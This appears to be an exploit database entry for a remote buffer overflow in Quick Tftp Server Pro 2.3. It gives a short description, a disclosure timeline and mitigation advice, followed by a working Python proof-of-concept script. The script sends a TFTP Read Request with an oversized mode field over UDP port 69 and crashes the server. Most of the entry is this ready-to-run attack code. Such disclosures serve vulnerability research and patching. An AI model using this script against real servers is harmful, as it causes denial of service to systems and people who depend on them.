header-logo
Suggest Exploit
vendor:
Quick Tftp Server Pro
by:
Guillaume Kaddouch
7,5
CVSS
HIGH
Remote Overflow
119
CWE
Product Name: Quick Tftp Server Pro
Affected Version From: 2.3
Affected Version To: 2.3
Patch Exists: Yes
Related CWE: N/A
CPE: a:tall_soft:quick_tftp_server_pro
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows 7 Family x64 (FR)
2016

Quick Tftp Server Pro 2.3 TFTP mode Remote Overflow (DoS)

A remote overflow exists in Quick Tftp Server Pro 2.3 in the TFTP mode when sending a TFTP Read Request. This allows to remotely crash the application, thus causing a Denial of Service.

Mitigation:

Update to the latest version of Quick Tftp Server Pro
Source

Exploit-DB raw data:

# Exploit Title: Quick Tftp Server Pro 2.3 TFTP mode Remote Overflow (DoS)
# Date: 21/01/2016
# Exploit Author: Guillaume Kaddouch
#   Twitter: @gkweb76
#   Blog: https://networkfilter.blogspot.com
#   GitHub: https://github.com/gkweb76/exploits
# Vendor Homepage: http://www.tallsoft.com/tftpserver.htm
# Software Link: http://www.tallsoft.com/tftpserver_setup.exe
# Version: 2.3
# Tested on: Windows 7 Family x64 (FR)
# Category: DoS

"""
Disclosure Timeline:
--------------------
2016-01-21: Vulnerability discovered
2016-01-24: Vendor contacted
2016-01-29: Vendor contacted again (no answer)
2016-03-01: Vulnerability published 
 
Description :
-------------
A remote overflow exists in Quick Tftp Server Pro 2.3 in the TFTP mode when sending a TFTP Read Request. This allows to remotely crash
the application, thus causing a Denial of Service.

 
Instructions:
-------------
- Starts Quick Tftp Server Pro 2.3
- Run this exploit locally or from your remote attacking machine
"""

import socket

host    = "192.168.135.132"
port    = 69

request = "\x00\x01"    # TFTP Read Request (RRQ)
file    = "file.txt"
mode    = '\x41' * 1024 # Overflow

buffer  = request + file + "\x00" + mode + "\x00"

try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

        print "[*] Sending buffer to %s (%d bytes)..." % (host, len(buffer))
        s.sendto(buffer, (host, port))
        s.close()
        print "[*] Done."
except:
        print "[-] Error connecting"